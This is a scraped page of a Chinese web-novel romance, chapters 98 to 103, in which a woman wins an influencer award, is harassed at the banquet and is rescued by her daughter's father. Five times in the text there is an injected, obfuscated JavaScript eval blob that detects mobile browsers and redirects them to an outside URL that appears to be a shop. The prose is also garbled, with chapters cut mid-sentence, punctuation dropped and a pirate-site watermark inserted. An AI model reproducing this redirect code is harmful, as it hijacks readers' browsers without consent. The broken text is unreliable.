“有什么不好?一想到那个女人差点伤了温昭宁,他只觉得自己手段太轻。 “万一被人知道…… “知道又怎么样?贺淮钦看了温昭宁一眼,“人家连蓄意**的胆子都有,你倒是一如既往的胆小。 “我这不是担心你嘛。 贺淮钦眼眸暗了暗:“担心我? 第98章 活色生香 温昭宁解释说:“我是担心这件事情对你会造成什么影响。” 他眼里的情绪淡下去:“那你未免也太小看我了。” 温昭宁想想,也是。 贺淮钦能站到如今的高度,多少经历过一些腥风血雨,这点事对他而言,又算得了什么? “无论怎么样,今天谢谢你。” “这件事也算因我而起。”他说。 温昭宁想,可他扑过来救她的那一秒,并不知道这件事情是因他而起啊。 他应该,也没有那么恨她了吧? “走,上去吧。”贺淮钦转身。 温昭宁“嗯”了声,两人一起走进电梯。 电梯停在六楼,温昭宁走出轿厢的那一刻,贺淮钦也跟了出来。 温昭宁一顿,心里隐隐燃起一些火花:“你还有什么事吗?” 贺淮钦直勾勾地看着她:“你希望我有什么事?” 温昭宁心跳加速。 这大晚上的,一男一女,同回一个房间,还能有什么事? 可他们…… “我的房卡,在我的外套里,而我的外套,在你房间里。”贺淮钦打断了温昭宁的胡思乱想。 温昭宁:“……” 好吧,原来只是拿房卡,是她想太多了。 两人一起走到温昭宁的房门口。 温昭宁刚打开门,手机响了起来。 是母亲姚冬雪打来的视频电话。 这个点,应该是青柠用外婆的微信找妈妈,温昭宁想也不想地接通了视频通话,果然,电话那头闪现了青柠可爱的笑脸。 “妈妈妈妈!我想你啦!” “宝贝,妈妈也想你,你怎么还不睡觉觉?” “我正准备睡呢,就是突然有点想妈妈了,所以想看看妈妈……咦?那不是爸爸吗?”青柠一眼就看到了温昭宁镜头里一闪而过的贺淮钦。 贺淮钦听到青柠的声音,凑过来朝镜头打了个招呼。 “嗨,青柠宝贝。” “嗨!爸爸!”这一个视频通话就能见到自己最想的两个人,青柠一开始还挺开心的,忽然,她想到了什么,小眉头瞬间一皱,委屈巴巴地说:“爸爸妈妈,你们两个为什么会在一起?你们是不是偷偷一起睡觉觉不 带我?哼,不是说好了三个人一起睡觉觉的吗?你们为什么不带我? 温昭宁和贺淮钦一怔,与此同时,对面镜头里,姚冬雪飞速扑过来,一把捂住了青柠的嘴。 “哎哟我的小祖宗…… 然后,“吧嗒一声,视频通话被挂断了。 姚冬雪这电话挂得真是要多微妙有多微妙。 本来只是童言无忌,温昭宁和贺淮钦也清清白白什么事情都没有做,母亲这着急一挂,好像是真的撞见了他们在干什么一样。 温昭宁赶紧把视频电话拨回去,可是,那头的母亲“非常懂事地没有再接。 这…… 温昭宁尴尬地看向身旁的贺淮钦。 贺淮钦倒是面不改色:“麻烦你帮我拿一下房卡。 “好,你的外套还要吗? “不要了,扔掉。 “好。 温昭宁进门,从外套口袋里拿了贺淮钦的房卡,递给他。 贺淮钦拿上房卡,转身就走了。 温昭宁关上房门,倒在大床上,望着天花板感慨,今天真是乱糟糟的一天,希望明天颁奖典礼一切顺利。—— 也许是酒店的床温昭宁睡不习惯,夜里,她又失眠了,直到天亮才睡着,这一觉直接睡到了中午。 中午,她是被化妆师的敲门声吵醒的。 为了让自己在颁奖典礼上有一个更好的状态,温昭宁特地约了一个化妆师上门化妆。 化完妆,换好礼服,温昭宁拿上邀请函准备下楼去。 进电梯的时候,很巧地又碰到贺淮钦,还有陈益。 “嗨,温小姐!陈益一看到温昭宁,就热情地和她打招呼,然后眼神欣赏地打量了一下她今天的装扮,夸赞道:“温小姐今天好亮眼啊!和闪闪发光的大明星一样! 没有人不喜欢听夸奖,尤其,温昭宁今天花了很长时间做妆造,她比平时更希望听到别人的夸奖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17134922|196250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “谢谢。她对陈益笑,露出两边梨涡。 轿厢中间的贺淮钦冷着脸一言不发。 从温昭宁走进轿厢开始,他就看到了,这条裙子现实中看比视频中看更性感更具冲击力。 温昭宁纤长的腿随着她走动的姿势,从那片高开叉中露 出来,那一片细腻的肌肤,在黑色真丝缎面的掩映下,白得晃眼,像是上好的羊脂玉。 眼前的人,已经不是苏云溪口中抽象的“血脉喷张,而是此刻亲眼所见、近在咫尺的活色生香的诱惑。 贺淮钦浑身的肌肉线条无意识地绷紧,他别开脸,有意不去关注她那片白皙的肌肤,但镜面墙壁却无情地将一切反射回来,让他避无可避。 “温小姐今天要参加颁奖典礼吗?陈益完全没注意到自家老板已经处在自燃的边缘了,他还转过头去和温昭宁闲聊。 “是的。温昭宁笑吟吟说话的时候,她身上的香气就动了起来,更紧地扼着贺淮钦的呼吸。 “希望温小姐得一个大奖。 “借你吉言。 电梯停在一楼。 温昭宁率先走出轿厢。 贺淮钦和陈益紧随其后走出来,陈益看着温昭宁窈窕的背影,心里想着,难怪老板要特地改行程回来盯梢,温小姐这一身,真的太让人没有安全感了。 “贺律,你这次回来,是想见证温小姐领奖吧?陈益凑到贺淮钦面前,虽然不想泼冷水,但还是提醒说,“可是,我打听过了,那颁奖典礼没有邀请函和内部工作证是进不去的。 “那你就想办法去弄。 “弄什么? “内部工作证,两张。 “两张?陈益受宠若惊,“贺律你要带我也一起进去? “你进去干什么?贺淮钦冷脸斜陈益一眼,“刚才电梯里还没有看够? 陈益:“…… 不是,他看什么了? 他只是正常和温小姐对视且对话而已,他有什么错? 老板疯了,自从温小姐穿上那条裙子,老板已经开启“平等创飞每一个同性模式。 第99章 比了一个爱心 第三届‘自媒体百大博主’年度颁奖典礼的主会场恢宏而华丽。 巨大的LED屏幕播放着唯美的宣传片,灯光如星河流转,照亮了台下盛装出席的嘉宾席。 温昭宁的位置,在第三排,她穿着那身黑色的真丝礼服,步履间裙摆摇曳生姿,走到位置上的那一路,已经吸引了不少目光。 坐在她旁边位置的那个年轻女生一看到她,更是直接说:“姐姐,你好美,你的腿比我命都长。” 温昭宁看向那个女生,很有辨识度的一张漂亮圆脸,大大的眼睛,樱桃小嘴,她穿一件白色的抹胸长裙,洋娃娃一样,又纯又欲。 “谢谢,你也很美。”温昭宁同样不吝啬赞美。 两人寒暄后,温昭宁坐下了。 她刚坐下,就感觉到不太对劲。 这身礼服,为了追求极致的简约和贴合度,剪裁极为大胆,坐下时,柔软的缎面紧紧包裹着她的身体,深V领口因为姿势的改变,比站立时更低垂,更要命的是侧面的那一道高开叉,随着她坐下的姿势,开叉线被拉扯得更开,她几乎整条腿都露在外面。 温昭宁的另一侧,坐着一位男嘉宾。 那位男嘉宾的视线,时不时地掠过温昭宁的大腿,充斥着男凝的意味,冒昧又下头。 温昭宁整个人瞬间倍感不适,她尝试调整坐姿,但收效甚微。 她身边的那位女生注意到了她的不自在,凑到她面前,压低了声音说:“姐姐,我和你换个位置吧。” 陌生人的善意让温昭宁感觉到很温暖,但是,这位女生自己也穿着抹胸礼服,温昭宁不想让人家小姑娘坐到这个下头男的旁边,谁知道他会不会偷看这小姑娘的胸。 “没关系的,不用换。” “那你把我的裙摆拉过去,遮一下你的腿。” 女生穿着礼服裙,裙摆很大。 这倒是个不错的主意。 “谢谢你。”温昭宁感激地说。 “不客气。” 温昭宁正要伸手去扯那女生的裙摆,会场的工作人员忽然朝她走了过来,那工作人员手里捧了一个橘色的方形盒子,穿过人群,走到了温昭宁这一排的座位旁边。 “你好,请问是温昭宁女士吗?”工作人员问。 “我是。 “有一位先生,委托我将这个交给您。工作人员将那个橘色的盒子递过来,放到温昭宁的手上。 “先生?哪位先生? “这个我不清楚,他没说。 温昭宁迟疑着打开盒子,盒子里面静静地躺着一条披肩。 披肩是极轻软的真丝绉纱,颜色趋近于银灰,灯光下闪烁着珍珠般的光泽,低调奢华,又透着恰到好处的复古韵味,而且,披肩尺寸很大,足以将她从肩膀到膝盖都妥帖地包裹起来。 盒子里,还有一张素白的卡片,卡片上只有两个字:“披上。 字体遒劲利落,没有任何落款。 温昭宁一眼就认出来了,这是贺淮钦的字迹。 他怎么知道她需要披肩? 这人,真是料事如神。 “姐姐,这是你男朋友送来的吗?旁边的女生看到卡片上的字,笑着说,“有霸道总裁那味儿了。 温昭宁笑了笑,没承认也没有否认。 “你叫什么名字?她问那个女生。 “我叫七七。女生笑着说,“我是个美食博主,姐姐你叫什么? “我叫温昭宁。温昭宁拿出手机,对七七说,“我们加个微信吧? 温昭宁平时不太会主动去加陌生人的微信,但她喜欢这个心地善良又漂亮的小女生。 “好啊好啊。 两人相互扫了二维码,添加上了对方的微信。 加上七七的微信后,温昭宁顺势点开了贺淮钦的微信头像,向他道了谢,但贺淮钦没有回。 温昭宁和七七聊了一会儿天,没过多久,颁奖典礼就开始了。 巨大的LED屏幕开始播放“最佳新人奖 获奖的一共有六位博主。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17134923|196250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 温昭宁起身,将手机和披肩都暂时交给七七保管,跟着其他几位博主一起上台。 高跟鞋踩在铺着红毯的台阶上,聚光灯追随着她,她能感觉台下有无数道目光落在自己的身上,她不自觉地挺直了脊背。 六人一起走到舞台中央,从前辈手中接过了那座造型别致的水晶奖杯,奖杯沉甸甸的 触手冰冷却仿佛有滚烫的力量从掌心一直传递到心脏。 主持人逐一将话筒递过来让大家发表获奖感言。 温昭宁是第三个。 “谢谢……谢谢组主办方谢谢所有评委老师。”温昭宁的声音起初有些颤抖但很快就稳了下来“也感谢我所有的粉丝朋友们是你们每一次的点击每一条真诚的留言构成了我创作路上最坚实的基石和最温暖的陪伴。这个奖项对我而言不仅是一份荣誉更是一份责任它让我知道在信息纷繁复杂的时代坚持用心、用情去创作内容是有价值和回响的未来我将继续在更迭的热点中保持清醒在信息的洪流中坚守初心谢谢大家。” 台下掌声热烈地响起。 温昭宁微微鞠躬结束获奖感言时 是贺淮钦和女儿青柠。 青柠穿着一条亮片裙子头发梳得整整齐齐的扎着两个可爱的蝴蝶结。 此刻她正坐在贺淮钦的腿上小脸因为兴奋涨得红扑扑的当青柠的视线与温昭宁的目光对上时她立刻咧开嘴绽开一个灿烂的笑容两只小手还高高举起冲温昭宁比了一个爱心。 “妈妈!棒棒!”青柠用口型喊着。 那一刻时间、声音、灯光所有的一切都在温昭宁的感知中迅速褪去她的世界只剩下了观众席那个抱着女儿的男人和她的女儿。 贺淮钦竟然带着青柠来现场支持她了。 温昭宁的心脏被一股温柔的暖流击中酸涩、感动、喜悦、骄傲和满足所有情绪交织在一起如同烟花般在她胸腔里绽放。 她原本以为获奖已经足够圆满了而贺淮钦和女儿的出现更是稳稳托举了她的这份圆满。 第100章 恭喜 温昭宁下台后,贺淮钦带着青柠来后台看她。 “妈妈!”青柠看到温昭宁后,一路奔过来,往她怀里扑,“妈妈你得大奖了!你好棒棒啊!恭喜妈妈!” “谢谢宝贝,妈妈爱你。” 温昭宁俯身,吻了一下青柠的额头,抬眸看向青柠身后的贺淮钦。 “你们怎么来了?” “青柠说想来看你。”贺淮钦抢在前面开口。 青柠仰头看了爸爸一眼。 她说了吗?她什么时候说的? 不过,她虽然没有说,但她真的挺想来的。 幸亏爸爸提前派人来接她,她才见证了妈妈最闪亮的时刻。 温昭宁rua了一下青柠的小脸,她原本的确也想带女儿一起来颁奖典礼的,但因为担心自己上台的时候没有人带青柠,所以才打消了这个念头。 没想到青柠最后还是出现了,她惊喜又开心。 “青柠,看妈妈的奖杯漂不漂亮?” “好漂亮啊!”青柠伸手摸了摸奖杯,忽然抬起头看向贺淮钦,“爸爸,你还没有对妈妈说恭喜呢。” 空气安静了一瞬。 温昭宁有些尴尬地看向贺淮钦。 贺淮钦的视线与她对上,微微颔首:“恭喜。” 低沉平稳的两个字,虽然是在青柠的提醒下说出口的,但没有敷衍的客套,是很真诚的认可。 “谢谢。”加上他的认可,温昭宁顿时觉得她手中的奖杯含金量又多了一分。 “妈妈,你领完奖就结束了吗?”青柠问。 “还没有呢宝贝。” “可是我已经一天没和妈妈玩了,我想和妈妈一起玩。” 温昭宁为难。 颁奖典礼结束后,主办方还安排了一个晚宴。 这个晚宴是主办方为获奖者提供的一个平台,让同行之间可以更好的线下交流、洽谈合作和资源互换的。 温昭宁不想错过,但带上女儿显然又有些不合适。 贺淮钦自然知晓这样的场合对温昭宁而言意味着更多的机遇,他把青柠抱起来,对青柠说:“妈妈还有事,爸爸带你去酒店楼上的儿童游乐场玩好不好?” 青柠一听去游乐场,眼睛顿时亮了。 “ 好啊!好啊!我要去游乐场!妈妈,那爸爸带我去游乐场玩,等你这里结束了,你来找我哦!” “好。” 温昭宁的心因为女儿有了妥帖的安置,悄然落定。—— 颁奖典礼结束后,温昭宁和七七一起去了酒店的宴会厅,两人因为赛道不同,没有被安排在一桌上。 和温昭宁同桌的,基本都是和她风格类似的田园风博主,大家相互交流拍摄心得、探讨合作的可能,聊得还算愉快。 中途,主办单位的工作人员和几个广告商过来敬酒,温昭宁免不了喝了几杯。 她酒量一般,再加上最近总是睡不好很疲惫,酒精迅速在她身体里发酵,让她的大脑宛如棉花进水,思考变得慢慢迟钝起来。 “来来来,大家再一起碰一杯!祝我们都越来越好!” 桌上有人提议。 大家端起酒杯,带着美好的祈愿,又喝了一杯。 温昭宁感觉自己不行了,再喝下去,她恐怕连路都走不稳了。 她借口去洗手间,想着到宴会厅外面缓一缓透透气。 可她刚走到走廊上,就听到身后有人一起跟出来了。 “温小姐。” 温昭宁回头,看到跟在她身后的就是颁奖典礼时坐在她边上的那个男人。 男人绑着半边脏辫,穿着肥大的西装,身上叮叮当当挂了一堆银饰,据说是一个音乐博主。 “请问有什么事吗?”温昭宁虽然对他没有什么好印象,但还是礼貌回应。 “恭喜你获奖,年轻有为,前途无量啊。”男人语气热络,眼神带着一种黏腻的打量,从她绯红的脸颊,到她修长的脖颈,每一眼都让温昭宁感到不适。 温昭宁紧了紧身上的披肩,道了声谢,抬步就走。 “温小姐,等等,别着急走啊。”男人亦步亦趋地跟着她,“我们加个微信吧,你说这么多嘉宾的颁奖典礼,我们还能坐到一起,这绝对是老天安排的缘分对吧。” “不用了,我不想加。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17134924|196250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”温昭宁明确拒绝。 可那男的还是像狗皮膏药一样跟着她,并且因为温昭宁的拒绝有些恼怒。 “怎么?我平台上也有近百万的粉丝,你是看不上我吗?” “我不是这个意思!请你 不要再跟着我了!” 走廊上没什么人,温昭宁怕这男人会对她图谋不轨,转身想要折回人更多的宴会厅,可她刚一转身,那男人就贴了过来,挡住了她的去路。 “那你什么意思?说清楚!” 说的域名caixs?(请来才小 说 看最新章节 完整章节) 男人身上浓烈的酒气扑过来,温昭宁只觉得头更晕了,她甚至还有点想吐。 “请你让开,如果你再这样,我喊人了!” “喊人?你喊啊。”男人的手指轻浮地勾了一下温昭宁身上的披肩,“你穿成这样,等你把人喊来,我直接说是你勾引我的不就好了?” 互联网上牛马蛇神,什么都有,有些博主在镜头前人设完美,离了镜头,**本质就凸显出来了。 温昭宁越发觉得恶心,她正不知道该怎么办,忽然,一只骨节分明的大手,如同铁钳般猛地从侧面伸了过来,精准而狠戾地扣住了那脏辫男的手,一把将他甩了出去。 “嘭”的一声,那脏辫男因重心不稳,跌跌撞撞,一头撞在了墙面上,他当即发出一声痛苦的闷哼。 温昭宁抬眸,看到贺淮钦不知什么时候出现在了走廊里,他的脸色,在明亮的灯光下,阴沉得能滴出水来。 “你谁啊?”脏辫男失了面子,大声威胁道,“我有百万粉丝,你信不信我去网上曝光你?” 贺淮钦充耳不闻,他走到那脏辫男面前,抬手,就是一记裹挟着劲风的拳头,干脆利落地将那脏辫男打倒在地。 “啊!”脏辫男一声惊呼。 他还没反应过来,贺淮钦已经再次朝他靠近。 “你……你想干什么?” 贺淮钦一把将那脏辫男拎了起来,指着走廊里的监控摄像头,对他说:“有种,你就去曝光。” 第101章 有事叫我 脏辫男不知道走廊里有监控,现在,他知道自己调戏温昭宁那一幕被录下来了,他完全骇住了。 毕竟,贺淮钦不需要互联网这碗饭,但他可太需要了。 “我……我……我错了……” “你猜,你的粉丝会不会原谅你?” 贺淮钦说完,一把将他推开了,转身过来,攥住了温昭宁的手腕。 “走。”他说。 温昭宁越来越晕了,加上刚刚被吓到,双腿有些虚软,走路踉踉跄跄的,完全跟不上贺淮钦的脚步。 “喝酒了?”贺淮钦回头看着她。 “嗯。” “喝了很多?” “也没有很多。” 贺淮钦蹙眉,没有很多怎么可能走路都走不稳? 他手臂一伸,牢牢地箍住她的腰,扶着她往前。 温昭宁步履蹒跚,每走一步,那件黑色的真丝礼服便随着她的晃动流淌出更摄人心魂的曲线 更要命的是,她身上的披肩,随着她踉跄的脚步,时不时地从她圆润白皙的肩头滑落…… 性感。 又何止是性感。 这简直是对贺淮钦理智和自制力的公开处刑。 贺淮钦的下颌线绷得紧紧的,额角有青筋隐隐跳动。 “青柠呢?”温昭宁边走边问。 “玩累了,睡着了。” “在哪里?” “我房间。” “她一个人?” “陈益在外面守着。” 温昭宁醉意越来越上头了,她抓着贺淮钦的衣服说:“那……那今晚……青柠就交给你了。” 贺淮钦低头看她:“那你呢?” “你把我送回房间就行。” 她醉成这样,贺淮钦可不放心把她送回房间就走人。 他想了想,一个弯腰,手臂穿过她的膝弯,将她打横抱了起来。 突如其来的失重感让温昭宁低呼了一声,手臂本能地环绕住他的脖颈,整个温软馨香的身体,彻底陷落在他坚硬滚烫的怀抱里。 “你干……干什么?”温昭宁问。 她长发散乱,脸颊酡红,那双明亮的眼睛氤氲着一层迷离的水光,就那么望着他。 贺淮钦别 开视线:“你也睡我房间。 “那你睡哪里? “我睡沙发。 “为什么? “怕你醉死。 温昭宁默了两秒:“好吧,那我可以自己走。 “你走路太慢了。 贺淮钦说完,也不管那半遮半掩的披肩,抱着她,大步流星地朝着电梯口走去。—— 贺淮钦一路将温昭宁抱回了房间。 陈益看到他们回来,立刻用门卡替贺淮钦刷开了门。 “你去休息吧。贺淮钦对陈益说。 温昭宁伏在贺淮钦怀里,美得就像是一朵含苞待放的花,陈益完全不敢多看一眼。 “是,贺律。 陈益匆匆离开,走时还不忘替他们带上门。 总套的大床上,青柠睡得正香。 贺淮钦放下温昭宁后,温昭宁脚步虚浮地走到床边,半跪在床沿上,俯身亲了亲女儿香香软软的脸颊。 青柠睡梦中感觉到痒,翻了个身,很快又睡过去。 “我的宝贝……她趴在那里,手指隔空描摹着青柠的脸颊,一副明显的醉态。 贺淮钦走到身边,问她:“你的房卡呢? 温昭宁把自己的手机递给贺淮钦:“在我手机壳里卡着。 贺淮钦剥掉她的手机壳,拿出里面的房卡:“你等一下,我去把你的行李箱拿上来。 温昭宁没作声,继续坐在床边,看着女儿。 贺淮钦只出去了两三分钟,就把温昭宁的行李箱提了上来。 “你换衣服睡觉吧。贺淮钦说。 “我不要……她摇摇晃晃站起来,就往浴室里走,“我……要泡个澡…… 贺淮钦揉了下太阳穴。 她醉成这样,站都站不稳了,还想泡澡? “别闹。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17134925|196250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 贺淮钦拉住她,“你现在需要休息,明天早上起来再洗。 “不要……醉鬼的执拗上来了,她一把推开他的手,“我身上都是酒味……我要泡澡,香香地陪宝贝睡觉…… 她边走,边扒拉着身上的裙子,碎碎念:“裙子是租来的,不能弄湿…… 然后下一秒,“嘭的一声撞在了玻璃门上。 “唔…… 她痛得抱头蹲下去。 贺淮钦赶紧朝她走过去:“没事吧? “痛…… 贺淮钦把她从地上提起来,她的额角红红的,眼神湿漉漉的,更添几分我见犹怜的气质。 他无奈顶了顶腮。 跟一个醉鬼讲道理,显然是徒劳的。 如果放任她自己进浴室,以她现在的状态,别说放水了,十有**先滑到,后果不堪设想。 “等着。贺淮钦认命般吐出这两个字,转身走进了浴室。 总套的浴室灯光温暖,空间开阔,巨大的按摩浴缸光洁如新。 贺淮钦拧开了热水龙头,温热的水流慢慢注入浴缸,蒸腾起氤氲的白雾,在浴室弥漫开来。 他站在浴缸边,听着水声,看着水位一点点升高,热气扑在他的脸上,他心头愈发地躁动难安。 热水很快放满了大半个浴缸,贺淮钦伸手试了试水温,刚好。 他正准备折回房间,身后忽然传来了脚步声。 贺淮钦一回头,看到温昭宁已经摇摇晃晃地走进来了。 “热水……放好了吗? “放好了。 “谢谢。 她慢慢朝他靠近,每一步,都像是一把淬了火的钩子,狠狠刮擦着贺淮钦已经崩到极致的神经。 “你不出去吗?温昭宁看着贺淮钦。 贺淮钦将目光从她身上挪开,喉头滚了滚,说:“有事叫我。 说完,快步走出了浴室。 温昭宁站在原地,意识混沌,但还是品了品他的那句“有事叫我。 也不知道怎么样才算“有事呢。 第102章 猛烈的占有欲 贺淮钦走出浴室,脊背挺直得几乎僵硬。 他站在巨大的落地窗前,望着城市璀璨却冰冷的夜色,目光始终无法聚焦,他的所有感官似乎都被身后那扇门内水声所攫取。 凭着过往的亲密记忆,他不用看也知道,她现在躺在浴缸里,会是怎样曼妙的光景。 贺淮钦从冰箱里拿出一瓶冰矿泉水,仰头饮下半瓶。 可这点冰矿泉水对他体内熊熊燃起的**而言,简直杯水车薪。 温昭宁身上的香气,抱着她时柔软的触感,像顽固的烙印,死死地缠住他的神经末梢。 他不愿承认,可又不得不承认自己对她涌动着多么猛烈的占有欲与渴求。 可他不能,也不应该…… 贺淮钦攥紧了拳头,调整呼吸,就在他拼命构筑防线,与体内那股几乎要失控的原始冲动进行着惨烈的拉锯战时,浴室里传来“啊”的一声尖叫。 是温昭宁的声音,短促而尖锐。 醉猫溺水了?还是滑倒了? 贺淮钦所有的理智瞬间崩盘,他甚至来不及思考,人已经转身,一步跨到了浴室的门前。 没有犹豫,他握住门把手,用力向内一推。 门推开的瞬间,热气扑面而来。 贺淮钦的视线扫向浴缸方向,并没有预想中滑倒受伤或者是溺水挣扎的画面出现。 浴缸里的水还在微微荡漾,水面漂浮着浅浅的一层泡沫,而温昭宁她已经从浴缸里出来了。 温昭宁身上裹着一条洁白的浴巾,浴巾从腋下紧紧垂到膝盖上方,将她身体的大部分曲线都严严实实地包裹了起来,只露出圆润的肩头、精致的锁骨和修长的小腿。 她站在浴缸旁的防滑垫上,头发湿漉漉地散在肩头,脸颊因为热气愈发地红了。 “发生什么事了?”贺淮钦问。 “没事。” “没事你喊什么?” 温昭宁笑了一下,那双醉意朦胧的眼睛里透着一丝狡黠。 “我泡澡太舒服了,不能喊吗?” 贺淮钦立在门口,脸上的表情从最初的担忧慢慢转变为愕然。 他忽然意识到,温昭宁的那声尖叫,是测试,测试他到底会不会进来。 “你是故意的?” 温昭宁没有说话,只是慢慢地走向他。 她的头发还湿着,水珠滚落,滑过她白皙的脖颈,没入浴巾的边缘。 贺淮钦深黑的眼眸里,风暴在疯狂积聚。 他看着她,她明明裹得严严实实的,却莫名比刚才身穿性感礼服的样子更添了几分纯净的诱惑。 “贺淮钦…… 温昭宁走到他面前,忽然抬起手臂,抱住了他。 贺淮钦猛地一震。 他低头,看向埋在自己胸前的女人。 “你刚才很着急地闯进来……所以……你还是有那么一点点在乎我的对吗?温昭宁贴着他的身体,仰起头,看着他的眼睛。 她的目光,执拗的,带着一丝脆弱和期盼。 贺淮钦张了张嘴,想说“没有,想说“你少自作多情,想说“我只是怕你死在这里惹麻烦 温昭宁见他沉默,轻笑了声。 “你不说话,我可要吻你咯…… 什么? 贺淮钦还没反应过来,温昭宁已经微微踮起了脚尖。 她柔软的唇瓣,如同羽毛般,带着试探和怯意,轻轻地落在了他紧绷的下颌线上。 先是极轻的一下,宛如蝴蝶停留。 然后,是第二下,沿着下颌线,滑向他的嘴角。 第三下,落在了他紧抿的薄唇上。 她的吻很轻,很碎,没有任何技巧可言,却瞬间笼罩了他所有的感官。 那柔软的触感,温热的气息,还有她身上沐浴的清香,如同最致命的**,顺着她细碎的亲吻,一点点渗入他的皮肤,钻入他的血脉, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17134926|196250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直抵心脏的最深处,将他苦苦维持的理智,焚烧得七零八落。 贺淮钦闭了闭眼,推开了她。 “别这样!他的声音嘶哑得厉害。 温昭宁被他推得踉跄了一步,她的眼眸里瞬间蒙上一层水汽。 “真的……不原谅我吗?她的眼泪落下来,“真的……那么恨我吗…… 温昭宁颤抖着,不顾他推拒的手臂,再次执拗地抱住他。 “贺淮钦……贺淮钦……她一遍一遍叫着他的名字,像是呼唤,又像是绝望的 呓语“是我不对……我不该瞒着你青柠的身世……是我错了……你原谅我好不好……” 她的泪水浸湿了贺淮钦胸前的衬衫。 贺淮钦握住温昭宁的肩膀但这次却没有再用力推开。 “温昭宁。”他叫她的全名语气低沉中透着一丝难以觉察的颤抖“要我原谅你可以但你必须告诉我当年到底发生了什么。” 他一字一句问出了那个横亘在他心头多年的问题。 “为什么?为什么那样决绝地离开我?把所有的一切原原本本地告诉我不要再有任何隐瞒不要再有任何借口!” 贺淮钦紧握着她的肩膀等待着她的回答等待着她的解释。 时间一分一秒地流淌着。 然而贺淮钦想要的解释和辩白都没有到来。 怀里的身体原本紧绷、颤抖的力道似乎在一点点地松懈。 贺淮钦皱了皱眉低下头只见温昭宁靠在他的胸前不知何时已经睡着了。 她长长的睫毛被泪水打湿黏在一起在眼下投下一小片阴影她的呼吸均匀而绵长甚至带着一丝酒后熟睡的轻鼾。 所有质问所有紧绷的情绪在这一刻 贺淮钦看着温昭宁沉睡中毫无防备地恬静侧脸再看看她身上蹭得松松垮垮几乎遮不住什么的浴巾…… 他无奈地长叹一口气小心翼翼地替她将浴巾裹好打横抱起来走出了浴室。 第103章 原来是你 长夜寂静。 贺淮钦原本想将温昭宁放到大床上,但是,一看她头发还湿着,就转道将她抱到了沙发上。 怕吵到青柠睡觉,他拉了卧室的隔门,一个人默默地坐在沙发上给温昭宁吹头发。 大概真是酒精上头了,吹风机的声音那么响,她都没有醒。 那张洗尽铅华、毫无防备的脸,就那么枕在他的大腿上,她的长发如同海藻般散开,在他的西裤上铺陈。 贺淮钦的手指,穿梭在她微凉顺滑的发丝间,心头是无法言说的混乱。 真的恨吗? 他问自己。 看着温昭宁睡梦中挂在眼角的泪痕,他心头的那些恨意,仿佛被吹风机里的暖风稀释了浓度,变得有些虚浮,有些难以真正落到实处。 可原谅,又谈何容易。 六年前突如其来的抛弃,被隐瞒六年的父女亲情,像一道深可见骨的疤痕,横亘在那里,而她,从未给过他一个合理的解释。 难道,他就不值得一个答案吗? 吹风机的热风,终于将她最后一缕发丝吹干。 贺淮钦关掉开关,嗡嗡声戛然而止,世界瞬间陷入了一片更深的寂静。 他的手指无意识地一下一下梳理着她已经干透的长发,目光胶在她的脸上。 **好一会儿后,贺淮钦才将她抱起来,放到女儿的身边。 他给两人盖好被子,自己去浴室洗澡。—— 温昭宁一觉醒来,第一感觉就是头痛,像是有一把小锤子在太阳穴和后脑勺之间轮番敲打,第二感觉是喉咙干的冒烟,还有就是宿醉特有的恶心感。 她从床上坐起来,看了一眼完全陌生的房间。 这是哪里? 